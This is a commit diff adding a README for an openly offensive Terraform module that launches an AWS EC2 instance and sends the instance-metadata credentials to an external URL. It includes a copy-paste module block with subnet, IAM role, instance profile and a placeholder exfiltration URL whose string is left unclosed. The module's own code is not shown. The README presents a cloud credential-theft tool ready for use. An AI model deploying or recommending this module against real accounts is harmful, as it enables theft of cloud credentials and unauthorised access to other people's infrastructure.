Add README.md

Author: iganbold

README.md

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+# AWS EC2 Instance Credential Exfiltration Module
+
+![OffensiveTerraform](https://img.shields.io/badge/offensive-terraform-purple)
+
+Offensive Terraform module which creates EC2 instance and exfilrate credential from Instance metadata to external URL.
+
+![Attack Diagram](https://github.com/offensive-terraform/terraform-aws-ec2-instance-credential-exfiltration/blob/master/diagram.jpg)
+
+## Usage
+```
+module "ec2_instance_credential_exfiltration" {
+    source = "offensive-terraform/terraform-aws-ec2-instance-credential-exfiltration"
+
+    subnet_id = "subnet-0a4a1cc04"
+    url = "http://0.0.0.0/
+    iam_role= "ec2-instance-role"
+    iam_instance_profile = "ec2-instance-profile"
+}
+```
+## Author
+Module managed by https://github.com/offensive-terraform/
+
+